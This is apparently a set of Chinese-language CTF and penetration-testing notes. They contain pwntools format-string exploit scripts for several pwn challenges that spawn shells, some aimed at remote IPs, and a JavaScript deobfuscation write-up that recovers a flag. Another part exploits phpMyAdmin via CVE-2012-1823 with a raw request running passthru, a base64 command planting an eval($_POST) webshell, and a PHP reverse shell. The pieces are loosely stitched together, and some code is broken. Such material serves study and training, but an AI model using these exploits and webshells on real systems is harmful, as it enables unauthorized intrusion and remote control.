mem_system_addr = base + libc_system_addr
print(hex(stack_addr - 0x218))
one_gadget = [0xE3B2E + base, 0xE3B31 + base, 0xE3B34 + base]
payload = fmtstr_payload(6, {stack_addr - 0x218: one_gadget[1]})
io.sendlineafter(b'Good luck to you.', payload)
io.interactive()
与malloc和free相关的格式化字符串漏洞
alloca函数(在栈上分配空间)
#include <stdio.h>
#include <stdlib.h>
#include <alloca.h>
int open_file (const char *dir, const char *file)
{
char *name = (char *) alloca (strlen (dir) + strlen (file) + 2);
strcpy (name, dir);
strcat (name, "/");
strcat (name, file);
return open (name, O_RDONLY);
}
这个函数用alloca函数在栈上分配了一个足够存储两个参数字符串拼接后的文件名的空间,并返回打开该文件的文件描述符或-1表示失败。当函数返回时,name指向的内存会自动释放。
alloca在栈上分配内存,而malloc在堆上分配内存。alloca分配的内存在函数返回时自动释放,不需要手动free,这样可以避免忘记释放或重复释放的问题。
alloca分配内存的速度很快,而且几乎不浪费空间。alloca也不会导致内存碎片化,因为它没有为不同大小的块分配单独的池。
alloca可以用来创建变长数组,在C99之前没有这个功能。
当然,alloca也有一些缺点和限制,比如:
alloca分配的内存不能跨函数使用,因为它会在函数返回时被释放。
alloca可能导致栈溢出,因为栈空间有限(通常只有几KB),而堆空间远大于栈空间。
alloca不是标准C函数,它可能在不同的平台和编译器上有不同的行为或实现方式
利用思路:
printf函数在输出较多内容时,会调用malloc函数分配缓冲区,输出结束之后会调用free函数释放申请的缓冲区内存。同样的scanf函数也会调用malloc。
[SDCTF 2022]Oil Spill(在栈上输入的动化格式化字符串漏洞随意写)
此工具的下载地址:
https://lzeroyuee.cn/2021/02/28/Linux-Pwn-pwntools-fmtstr%E6%A8%A1%E5%9D%97/ fmtstr_payload用于自动生成格式化字符串payload
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') → str
offset:控制的第一个格式化程序的偏移
writes:为字典,用于往addr中写入value,例如**{addr:** value, addr2: value2}
numbwritten:已经由printf写入的字节数
write_size:必须是byte/short/int其中之一,指定按什么数据宽度写(%hhn/%hn/%n)
exp如下
from pwn import *
from ctypes import *
from LibcSearcher import *
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('43.142.108.3', 28194)
elf = ELF('./pwn')
libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so')
def ga():
rl(b'0x')
return int(p.recvuntil(b',')[:-1], 16)
puts = ga()
printf = ga()
stack = ga()
libc_base = puts - libc.sym['puts']
one_gadget = libc_base + 0x10a2fc
system = libc_base + libc.sym['system']
#gdb.attach(p, 'b *0x400738')
sla(b'it?\n', fmtstr_payload(8, {elf.got['puts']:system, 0x600C80:b'/bin/sh\x00'}))
#pause()
inter()
print(hex(puts), hex(printf), hex(stack))
非栈上的格式化字符串漏洞
这里先贴两张大体的利用思路如下:
间接写地址:间接向栈上某个地址套入地址的值
当程序mian返回时就会执行libc_start_main位置开始及其往下的gadget
1.可以改got表的()
因为只能写第一层指针,所以我们要进行跳板式的写入(一般第一步用有三层指针偏移地址处进行操作),多次间接写入,找与目标改地址很像的位置作为二级跳板可以少改写几位
注意事项:
1.0要改三个或者四个字节的时候我们可以通过多个跳板先改高位再改低位
1.01如果 system 中的数据是 0x7fffffffffff320a,那么执行 (system>>16)&0xff 将得到以下结果:
(system >> 16) = 0x7fff_ffff_ffff
0xff = 0x0000_00ff
---------------------------
0x0000_00ff
因此,这个表达式的结果是十进制数值 255 或十六进制数值 0xff。
1.02一次格式化字符串改写两次的时候要注意第一次输出的字符数对第二次的影响(因此一次输入的时候要减去第一次已经打印的字符数)
1.03与运算0xff是保留最低一位数据以此类推
疑问:
1.1为什么要用next来遍历接收/bin/sh?
使用 next() 方法是因为 pwntools 库的 search() 函数返回的是一个生成器(generator)对象,而非列表。生成器是一种特殊的迭代器,它不会在内存中保存所有元素的值,而是根据需要逐个生成每个值。这种方式可以避免占用太多内存,特别是在搜索大型 ELF 文件时。 由于生成器只能使用一次,因此必须通过调用 next() 方法来逐个获取其中的元素。在本例中,我们只需要获取第一个匹配结果的地址,因此使用 next() 可以方便地获得该地址,并将其与 libc_base 相加得到最终的 sh_addr 值。 如果直接调用 libc.search("/bin/sh"),则无法直接获
1.3如何更改写入的位置?
修改got表的时候:
另外找一个与要修改的got地址相差不大的栈中所存的地方,分别记为A,B,然后第一次布置到A处修改got表X字节,第二次布置到B处修改got表+X字节处的地址,如图所示
第一次修改前
第一次修改后
第二次修改前
第二次修改后
log.success("one_gadget:"+hex(one_gadget_addr))
yes1=str((stack_tar)&0xffff)
yes2=str((one_gadget_addr)&0xffff)
yes3=str((stack_tar+2)&0xffff)
yes4=str((one_gadget_addr>>16)&0xff)
pay='%{}c%{}$hn'.format(yes1,10)
pay2='%{}c%{}$hn'.format(yes2,39)
pay3='%{}c%{}$hn'.format(yes3,10)
pay4='%{}c%{}$hhn'.format(yes4,39)
或者利用一个地址进行多次修改也可以原理跟那个一样
1.2(1)例:
0x7fffffaaa093与0xff处理则只剩最第一字节0x93
不可以修改got表的(开了full ASRL)
思路:改写_libc_main_start成one_gadget(_libc_main_start是main函数退出后会从这里开始执行)
2023铁人三项的fmstr(知识点用到的跟上面一样)
from pwn import *
from ctypes import *
#from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_shell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
p = process('./fmtstr')
#p = remote('1.14.71.254', 28966)
elf = ELF('./fmtstr')
libc= ELF('/home/pwngo/libc-2.33.so')
sla(b'first.\n',b'aaaa')
#debug()
sla(b'password\n',b'aa%16$p..%9$pbb%10$p')
p.recvuntil(b'aa')
elf_base = int(p.recv(14),16)-0x1140
pop_r12_r15=elf_base+0x13fc
p.recvuntil(b'..')
main_start_213=int(p.recv(14),16)
print(hex(main_start_213))
libc_base = main_start_213 - 0xD5(F3或者F0) - libc.symbols['__libc_start_main']
p.recvuntil(b'bb')
stack=int(p.recv(14),16)
log.success("stack:"+hex(stack))
log.success("elf_base:"+hex(elf_base))
log.success("libc_base:"+hex(libc_base))
print(hex(pop_r12_r15))
system = libc_base + libc.sym['system']
log.success("shell:"+hex(system))
# sla(b'',"aaa")
stack_tar=stack-0xf0
#泄露的栈是三级跳板处的栈地址,我们以此为中心根据偏移找不同的栈地址
log.success("stack_tar:"+hex(stack_tar))
#debug()
#下面是根据_libc_main_start改写成one_gadget的脚本
one_gadget_offset=[0xde78c,0xde78f,0xde792]#one_gadget libc版本查看可以利用的gadget
one_gadget_addr=libc_base+one_gadget_offset[1]
log.success("one_gadget:"+hex(one_gadget_addr))
yes1=str((stack_tar)&0xffff))
yes2=str((one_gadget_addr)&0xffff)#0xffff指的是保留末两位字节,详细讲解看上面的解释
yes3=str((stack_tar+2)&0xffff)
yes4=str((one_gadget_addr>>16)&0xff)#右移2位导致&0xff之后取到倒数第三个字节
pay='%{}c%{}$hn'.format(yes1,10)
pay2='%{}c%{}$hn'.format(yes2,39)
pay3='%{}c%{}$hn'.format(yes3,10)#python中的占位符
pay4='%{}c%{}$hhn'.format(yes4,39)
sla(b'again\n',pay)
sla(b'again\n',pay2)
sla(b'again\n',pay3)
sla(b'again\n',pay4)
p.interactive()
(安洵)heap上格式化字符串并且不是改main函数ret返回地址
代码审计
这个for循环说明了我们只是把ptr的字符存在栈上,而每次printf(ptr的时候都是一次格式化字符串)
ralloc函数(与堆操作相关)
realloc函数是C语言标准库中的一个函数,用于重新分配内存块的大小。它可以扩大或缩小一个已分配的内存块,也可以用于在堆上分配新的内存块。 realloc函数的定义如下:
void *realloc(void *ptr, size_t size);
其中,ptr是指向已分配内存块的指针,size是新的内存块大小。realloc函数返回一个指针,指向重新分配后的内存块。 realloc函数的使用流程如下:
如果ptr为NULL,则等价于调用malloc(size),即在堆上分配一个新的内存块并返回指针。
如果size为0,且ptr不为NULL,则等价于调用free(ptr),即释放ptr指向的内存块,并返回NULL。
如果ptr和size都不为NULL,则会重新分配ptr指向的内存块的大小为size,并返回指向重新分配后的内存块的指针。如果重新分配后的内存块大小比原来的大,那么新分配的内存块中的未初始化的部分将是不确定的。如果重新分配失败,则返回NULL,原来的内存块不会被释放。
exp如下:
from pwn import *
from struct import pack
from ctypes import *
import hashlib
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
p = process('./harde_pwn')
#p = remote('47.108.165.60', 42545)
elf = ELF('./harde_pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
c_libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
sa(b'game!\n', p64(0)*4)
c_libc.srand(0)
for i in range(21):
sla(b'input: \n', str((c_libc.rand() ^ 0x24) + 1))
sa(b'input your data ;)\n', b'%8$p%11$p%7$p')
rl(b'0x')
stack = int(p.recv(12), 16)
rl(b'0x')
libc_base = int(p.recv(12), 16) - 243-libc.symbols['__libc_start_main']
ret = stack - 8
ptr = stack - 0x18
rbp = stack - 0x10
rl(b'0x')
heap_base = int(p.recv(12), 16) - 0x2a0
debug()
one_gadget = libc_base + 0xebcf8
printf_ret = ptr - 0x10
print(' printf_ret -> ', hex(printf_ret))
print(' heap_base -> ', hex(heap_base))
print(' stack -> ', hex(stack))
print(' libc_base -> ', hex(libc_base))
for i in range(6):
sa(b'input your data ;)\n', b'%' + str((rbp + i) & 0xffff).encode() + b'c%28$hn\x00')
sa(b'input your data ;)\n', b'%' + str((one_gadget >> i*8) & 0xff).encode() + b'c%41$hhn\x00')
#rbp写成存onegadget
sa(b'input your data ;)\n', b'%' + str(printf_ret & 0xffff).encode() + b'c%28$hn\x00')
sa(b'input your data ;)\n', b'%' + str(0xb1).encode() + b'c%41$hhn\x00')
#改一次rbo
inter()
技巧补充
改大地址:
利用不是在栈上的格式化字符串的时候我们都要明白一个原理:
当你对绿圈的格式化偏移进行修改时,真正被修改的是箭头所指向的低地址处,这也是找跳板的意义
for i in range(6): sa(b'input your data ;)\n', b'%' + str((rbp + i) & 0xffff).encode() + b'c%28$hn\x00') sa(b'input your data ;)\n', b'%' + str((one_gadget >> i*8) & 0xff).encode() + b'c%41$hhn\x00')
像上面一样我们可以每改一次将rbp的地址加**某个数进行错位改大数字,**跟异位伪造doublefree的fd头有相同的思想
有可能可以再利用一次leava或者ret
我们看到rsp现在跟在rbp前3单位处,我们没pop一次(ret)rsp的地址就会增加一个单位,当我们三次pop的时候我们的rsp就会跟rbp重合,从而getshell
【总结】HTML+JS逆向混淆混合
国外的题果然考的与众不同
[secrypt_cen.html]
这次是HTML网页,然后JS加密判断
翻看JS代码
很显然,关键的代码在checkPassword
JS混淆是必备的
去混淆一条龙走起
先将关键代码提取出来
JavaScript
function _0x4857(_0x398c7a, _0x2b4590) { const _0x104914 =
_0x25ec(); _0x4857 = function (_0x22f014, _0x212d58) { _0x22f014 =
_0x22f014 - (0x347 + 0x46a * -0x7 + 0x1cc6); let _0x321373 =
_0x104914[_0x22f014]; return _0x321373; }; return
_0x4857(_0x398c7a, _0x2b4590); } (function (_0x414f9c, _0x3d4799)
{
//...................省略大量代码
} function safe_add(a, b) { var c = (65535 & a) + (65535 & b); return
(a >> 16) + (b >> 16) + (c >> 16) << 16 | 65535 & c } function
bit_rol(a, b) { return a << b | a >>> 32 - b }
使用在线的javascript去混淆即可
http://deobfuscate.relative.im得到去混淆后的结果
function checkPassword(_0x38d32a) {
try {
if (_0x38d32a.length !== 21) {
return false
}
if (
//......省略大量代码
return [c, d, j, k]
}
function md5_cmn(a, b, c, d, e, f) {
return safe_add(bit_rol(safe_add(safe_add(b, a), safe_add(d, f)), e),
c)
}
function md5_ff(a, b, c, d, e, f, g) {
return md5_cmn((b & c) | (~b & d), a, b, e, f, g)
}
function md5_gg(a, b, c, d, e, f, g) {
return md5_cmn((b & d) | (c & ~d), a, b, e, f, g)
}
function md5_hh(a, b, c, d, e, f, g) {
return md5_cmn(b ^ c ^ d, a, b, e, f, g)
}
function md5_ii(a, b, c, d, e, f, g) {
return md5_cmn(c ^ (b | ~d), a, b, e, f, g)
}
function safe_add(a, b) {
var c = (65535 & a) + (65535 & b)
return (((a >> 16) + (b >> 16) + (c >> 16)) << 16) | (65535 &
c)
}
function bit_rol(a, b) {
return (a << b) | (a >>> (32 - b))
}
flag长度21
发现了MD5加密,和两个MD5字符串
看起来无关联?
后来审计整个代码发现,对输入的flag分部分进行判断比较
写出对应的部分,在控制台console输出相关信息是一个不错的选择
function checkPassword(_0x38d32a) {
try {
// Password length is 21.
if (_0x38d32a.length !== 21) {
return false;
}
if (
_0x38d32a.slice(1, 2) !==
(String.fromCodePoint + "")[
parseInt((parseInt + "").charCodeAt(3), 16) - 147
] /* password[1] = 'o' */ ||
_0x38d32a[(parseInt(41, 6) >> 2) - 2] !==
String.fromCodePoint(123) /* password[4] = '{' */ ||
_0x38d32a[4].charCodeAt(0) !==
_0x38d32a[7].charCodeAt(0) + 72 /* password[7] = '3'. */ ||
JSON.stringify(
Array.from(
_0x38d32a.slice(5, 7).split("").reverse().join(),
(_0x2d4d73) => _0x2d4d73.codePointAt(0)
).map((_0x5b85c5) => _0x5b85c5 + 213)
) !==
JSON.stringify([
285, 257, 297,
]) /* password[5] = 'T', password[6] = 'H' password[7] =
'3'*/
) {
return false;
}
/* For password[8], password[9], password[10], password[11]
*/
let _0x3c7a5c = _0x38d32a.slice(8, 12).split("").reverse();
try {
for (let _0x396662 = 0; _0x396662 < 5; _0x396662++) {
_0x3c7a5c[_0x396662] =
_0x3c7a5c[_0x396662].charCodeAt(0) + _0x396662 +
getAdder(_0x396662);
}
} catch (_0x1fbd51) {
_0x3c7a5c = _0x3c7a5c.map(
(_0x24cda7) => (_0x24cda7 += _0x1fbd51.constructor.name.length -
4)
);
}
if (
MD5(String.fromCodePoint(..._0x3c7a5c)) !==
"098f6bcd4621d373cade4e832627b4f6" /* password[8] = '0',
password[9] = 'R', password[10] = '3', password[11] = 'M'
*/
) {
return false;
}
if (
MD5(_0x38d32a.charCodeAt(12) + "") !==
"812b4ba287f5ee0bc9d43bbf5bbe87fb" /* password[12] = '_' */
) {
return false;
}
_0x3c7a5c = (_0x38d32a[8] + _0x38d32a[11]).split("");
_0x3c7a5c.push(_0x3c7a5c.shift());
if (
_0x38d32a.substring(14, 16) !==
String.fromCodePoint(
..._0x3c7a5c.map((_0x5b5ec8) =>
Number.isNaN(+_0x5b5ec8) ? _0x5b5ec8.charCodeAt(0) + 5 : 48
)
) /* password[14] = 'R' password[15] = '0' */ ||
_0x38d32a[_0x38d32a[7] - _0x38d32a[10]] !==
atob("dQ==") /* password[0] = 'u' */ ||
_0x38d32a.indexOf(String.fromCharCode(117)) !==
_0x38d32a[7] - _0x38d32a[17] /* password[17] = '3' */ ||
JSON.stringify(
_0x38d32a
.slice(2, 4)
.split("")
.map(
(_0x7bf0a6) =>
_0x7bf0a6.charCodeAt(0) ^
getAdder.name[_0x38d32a[7]].charCodeAt(0)
)
) !==
JSON.stringify(
[72, 90].map(
(_0x40ab0d) =>
_0x40ab0d ^
String.fromCodePoint.name[_0x38d32a[17] - 1].charCodeAt(0)
)
) /* password[2] = 'f', password[3] = 't' */
) {
return false;
}
if (
String.fromCodePoint(
..._0x38d32a
.split("")
.filter(
(_0x5edfac, _0x2965d2) => _0x2965d2 > 15 && _0x2965d2 % 2 == 0
)
.map(
(_0x2ffa6d) =>
_0x2ffa6d.charCodeAt(0) ^ (_0x38d32a.length + _0x38d32a[7])
)
) !==
atob(
"g5Go"
) /* password[16] = 'V', password[18] = 'D', password[20] =
'}' */
) {
return false;
}
if (
_0x38d32a[_0x38d32a.length - 2] !==
String.fromCharCode(Math.floor((({} + "").charCodeAt(0) + 9) / 3))
||
_0x38d32a[1 + _0x38d32a[7]] !== giggity()[5] /* password[19]
= ! */
) {
return false;
}
return true;
} catch (_0x4d4983) {
return false;
}
}
function getAdder(_0x430c9d) {
switch (_0x430c9d) {
case 0:
return 34;
case 1:
return 44;
case 2:
return 26;
case 3:
return 60;
}
return 101;
}
function giggity() {
return giggity.caller.name;
}
得到flag
uoft{TH30R3M_PR0V3D!}
phpMyAdmin 未授权Getshell
前言
做渗透测试的时候偶然发现,phpmyadmin少见的打法,以下就用靶场进行演示了。
0x01漏洞发现
环境搭建使用metasploitable2,可在网上搜索下载,搭建很简单这里不多说了。
发现phpmyadmin,如果这个时候无法登陆,且也没有前台的漏洞,可以继续在这个phpmyadmin目录下做文章。
发现setup
0x02漏洞利用
进行漏洞利用
https://juejin.cn/post/7042901479388086285POST
/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
HTTP/1.1
Host: 192.168.48.143
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: phpMyAdmin=bdbb427ed9c5e8616fe90261adcfb7229d6ca189;
pma_lang=en-utf-8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
\<?php
passthru(\'id\');
die();
?\>
这里利用的是CVE-2012-1823
?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
解码后
?-d allow_url_include=on -d auto_prepend_file=php://input
开启allow_url_include和auto_prepend_file
其中allow_url_include可以远程文件包含,auto_prepend_file加载php://input
其中php://input 可以读取http entitybody中指定长度的值,由Content-Length指定长度
写一句话木马getshell
echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >shell.php
0x03反弹shell
利用kali现成的
cp /usr/share/webshells/php/php-reverse-shell.php ./1.php
修改这个ip
修改ip
反弹shell成功,且无文件生成。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

